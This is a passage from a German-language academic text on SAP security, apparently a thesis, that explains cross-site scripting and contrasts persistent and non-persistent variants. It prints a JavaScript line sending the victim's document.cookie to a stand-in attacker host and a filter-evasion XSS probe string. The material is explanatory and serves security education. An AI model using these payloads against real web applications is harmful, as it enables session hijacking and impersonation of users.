Sicherheit von SAP in Bezug auf neue Technologien

Sicherheit von SAP in Bezug auf neue Technologien
geben, der dann mit Werten wie document.location
.replace('http://hackers.server/stealcookie.cgi?'+document.cook
ie); aufgerufen wird. Wie in diesem Beispiel ersichtlich erhält
der Angreifer die Cookies des Opfers, unter denen sich auch eines befinden
kann, das eine gültige Sitzung auf der verwundbaren Applikation darstellt.
Der Angreifer könnte nun also, obwohl er selbst keine oder andere
Berechtigungen in der Applikation hat, in der Identität des Opfers arbeiten.
Der Angriff, in diesem Fall der Wert des Parameters, muss jedoch nicht
immer so eindeutig sein. Es gibt eine Vielzahl an Variationen um z.B. eine
Ein- bzw. Ausgabeprüfung zu umgehen. Das folgende Beispiel würde bei
einer Verwundbaren Applikation eine Alertbox mit XSS als Text erzeugen 15 :
'';!--"=&{()}
Wie zuvor schon angedeutet, unterscheidet man bei Cross-Site-Scripting
zwischen 2 Arten:
nicht persistent
persistent
Nicht persistentes Cross-Site-Scripting verhält sich wie in dem Beispiel
zuvor beschrieben. Es ist grundsätzlich nur für eine Sitzung gültig und das
Opfer muss den initial gesendeten bzw. verwendeten Link aktivieren.
Bei einem persistenten Cross-Site-Scripting wird der Link in einem System
gespeichert, so dass dieser den Opfern nicht gesordert gesendet werden
muss. Dadurch trifft der Angriff jeden, der die Daten und damit das Skript
abruft. Denkbar ist dies z.B. in einem Forum, dessen
Mitgliederbeschreibung für Cross-Site-Scripting anfällig ist und somit jeder,
der die Mitgliederbeschreibung abruft, von der Attacke betroffen ist, ohne
dass von den Opfern eine weitere Aktion notwendig ist 16 .
Eine anschauliche Demonstration, was mit Cross-Site-Scripting möglich ist,
findet sich auf www.bindshell.net/beef/.
15 http://ha.ckers.org/xss.html
16 http://www.heise.de/newsticker/meldung/100976
Damian Schlager Seite 24